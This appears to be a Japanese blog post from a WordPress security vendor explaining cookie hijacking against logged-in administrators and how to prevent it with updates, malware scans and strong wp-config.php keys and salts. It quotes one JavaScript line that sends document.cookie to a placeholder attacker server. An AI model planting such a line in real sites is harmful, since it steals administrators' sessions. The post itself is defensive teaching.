ワードプレスのログインユーザーのクッキーを盗むクッキーハイジャックについて解説いたします。
クッキーって何?
クッキーとは、ドメイン毎(あるいはページごと)に、そのサイトにアクセスしているユーザーの様々な情報をユーザーのブラウザーに一時的に保存しておく仕組みです。
クッキーに一時保存される情報として代表的なものには下記のような情報がございます。
・サイトにログインしているかどうかの情報とログインIDやパスワード等
・アクセス解析の為の情報
・ショッピングサイトのカートにある商品の情報(クッキーに保存されるのはカートのIDだけでカート内商品情報はサーバー側に保存されている場合も多いです)
等
このクッキーの「サイトにログインしているかどうかの情報とログインIDパスワード等」をハッカーが盗めたら、そのハッカーはサイトにログインできてしまう事になります。
クッキーハイジャックの手法と危険性
ハッカーは下記のようなコードをワードプレスサイトに改ざんして埋め込み、管理者権限でログインしているユーザーにこのスクリプトを含む不正なコードを実行させることで外部のサーバーにクッキー情報を送信し、管理者と同様にログインできてしまう事になります。この為クッキーが盗まれることはハッキングの危険性を高めることになります。
"https://クーキー情報を不正に送信したいサーバーのアドレス/?cookie=" + escape ( document.cookie ) ;
※実際にはこのスクリプトは難読化されていたり、送信の為に様々な技術が複合的に使われます。
ただ、このスクリプトを実行してワードプレスの管理者権限でのログインを奪取するにはハッカーにはいくつかハードルがあります。
1 サイトを改ざんしてこのスクリプト埋め込まないといけない(もしくはクロスサイトスクリプティングのリンクを踏ませなければいけない)
2 スクリプトを実行してしまうユーザーが管理者としてログイン中でなくてはいけない
3 ワードプレスのクッキー情報は一回ログインするごとにwp-config.phpに記載されているAUTH_KEYやSECURE_AUTH_KEYを使い暗号化されるためクッキーを取得したとしてもログインできるとは限らない
この1,2,3のハードルを強化することでクッキーハイジャックを防ぐことが可能です。
クッキーハイジャックを防ぐ
サイトの脆弱性をふさぐ
1を防ぐために、サイトが改ざんされたり、クロスサイトスクリプティングを実行されないように、ワードプレス本体やテーマプラグインの脆弱性をふさぐ必要があります。
この為に一番簡単かつ強力な方法が、ワードプレス本体やプラグインテーマのアップデートを頻繁に行う事でございます。
また不使用のテーマやプラグインはサーバー上から削除しましょう。
また既にサイトを改ざんするようなマルウェアがサイトに埋め込まれていないかを検査し見つかった場合は駆除します。
【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
クッキーを適切に暗号化する
2,3を防ぐために、クッキーを盗まれてもハッカーがそれを使用して管理者としてログインできないように、wp-config.phpに記載されている
‘AUTH_KEY’
‘SECURE_AUTH_KEY’
‘LOGGED_IN_KEY’
NONCE_KEY’
‘AUTH_SALT’
‘SECURE_AUTH_SALT’
‘LOGGED_IN_SALT’
‘NONCE_SALT’
を長くて無意味な適切な文字列にします。この文字列はwp-config.phpに記載されている
* Change these to different unique phrases! You can generate these using * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
の@link の後に続くサルト生成サービスにアクセスしていただくと自動で作成してくれます。
※初期状態の 「put your unique phrase here」のままには決してされないでください。ハッカーは一度クッキーを盗んだら、このキーで何度でも管理者としてログインできるクッキーを作成できるようになってしまいます。
ご参考になりましたら幸いです。
WordPress ワードプレスのマルウェア駆除・セキュリティー対策を専門家が確実・迅速に代行いたします。お気軽にご依頼・ご相談お送りください